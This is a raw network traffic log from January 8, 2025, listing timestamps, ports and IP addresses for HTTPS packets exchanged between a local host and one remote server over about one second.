Jan 8, 2025 13:55:14.691498995 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.691617966 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.692065954 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692082882 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692226887 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.692234039 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692320108 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.692476988 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692492008 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692579985 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.692579985 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.692589045 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692655087 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.692936897 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.692953110 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.693032980 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.693032980 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.693042040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.693109035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.693248034 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.693267107 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.693407059 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.693416119 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.697920084 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.735059023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.735083103 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.735162973 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.735181093 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.735305071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.735426903 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.735445023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.735507011 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.735513926 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.735548019 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.735766888 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.784872055 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.784892082 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.785096884 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.785105944 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.785360098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.785381079 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.785396099 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.785403967 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.785413980 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.785463095 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.786305904 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786320925 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786459923 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786501884 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.786508083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786521912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786531925 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.786609888 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.786659956 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786674023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786762953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786804914 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.786813021 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.786858082 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.786942005 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.827637911 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.827657938 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.827749014 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.827789068 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.827796936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.827811003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.827877045 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.876746893 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.876780987 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.876836061 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.876877069 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.876882076 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.876899004 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.876931906 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877003908 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877019882 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877027035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877093077 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877093077 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877103090 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877304077 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877321959 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877401114 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877401114 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877409935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877830982 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877845049 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.877926111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877926111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.877935886 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.878173113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.878190994 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.878269911 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.878269911 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.878278017 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.920108080 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.920125961 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.920232058 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.920232058 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.920244932 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.920527935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.920548916 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.920628071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.920628071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.920636892 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.964067936 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.968265057 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.968293905 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.968430996 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.968446016 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.968508005 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.968601942 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.968616009 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.968703032 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.968712091 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.968782902 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.969430923 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.969446898 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.969521999 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.969521999 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.969530106 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.969752073 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.969770908 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.969841003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.969841003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.969850063 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970102072 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.970243931 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970259905 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970395088 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.970402002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970578909 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.970623970 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970638990 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970752954 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.970760107 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.970819950 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.012679100 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.012696981 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.012839079 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.012851954 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.012948990 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.012958050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.012974024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.013109922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.013118029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.013315916 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.060921907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.060940981 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.061021090 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.061049938 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.061135054 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.061208963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.061224937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.061290979 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.061291933 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.061300039 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.061485052 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.061840057 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.061856031 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.062088966 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.062096119 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.062213898 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.062235117 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.062299013 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.062306881 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.062336922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.062496901 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.063397884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.063426018 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.063519001 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.063519001 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.063529015 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.063631058 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.063788891 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.063807964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.063884974 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.063884974 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.063893080 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.063994884 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.105077028 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.105102062 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.105215073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.105215073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.105247974 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.105407953 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.105418921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.105436087 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.105705023 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.105714083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.106018066 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.153187037 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.153213978 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.153270960 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.153283119 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.153309107 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.153320074 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.153502941 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.153518915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.153561115 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.153568029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.153587103 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.153614044 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.154186010 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.154201984 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.154244900 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.154252052 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.154273033 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.154294968 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.154598951 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.154618979 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.154675961 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.154685020 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.154726028 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.155889034 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.155906916 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.155951023 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.155957937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.156007051 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.156030893 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.156127930 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.156156063 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.156194925 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.156200886 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.156235933 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.156255007 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.197566986 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.197593927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.197658062 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.197669029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.197700024 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.197726965 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.197963953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.197983027 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.198029041 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.198035955 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.198064089 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.198084116 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.245666981 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.245686054 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.245743036 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.245753050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.245784998 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.245806932 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.246014118 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.246030092 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.246087074 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.246094942 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.246140003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.246684074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.246700048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.246750116 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.246758938 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.246795893 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.247062922 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.247078896 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.247136116 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.247143984 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.247189999 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.248274088 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.248289108 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.248334885 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.248347044 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.248363018 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.248384953 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.248599052 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.248615026 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.248661041 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.248667955 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.248703003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.248718023 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.290105104 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.290121078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.290293932 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.290304899 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.290376902 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.290410042 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.290425062 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.290484905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.290493965 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.290534973 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.338437080 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.338454008 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.338517904 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.338537931 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.338548899 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.338567972 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.338581085 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.338587046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.338618040 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.338644981 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.339164019 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.339179039 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.339231014 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.339238882 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.339270115 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.339283943 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.339540005 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.339555979 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.339611053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.339618921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.339659929 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.340836048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.340853930 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.340919018 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.340928078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.340971947 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.341156006 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.341171026 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.341226101 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.341233969 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.341274977 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.382509947 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.382525921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.382622957 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.382635117 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.382780075 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.382880926 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.382896900 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.382963896 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.382972002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.383013010 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431035042 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431057930 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431159019 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431180954 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431231022 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431341887 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431358099 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431412935 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431421041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431462049 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431886911 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431902885 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431946993 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431953907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.431979895 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.431999922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:15.432071924 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:15.432095051 CET	443	49706	188.114.97.3	192.168.2.7
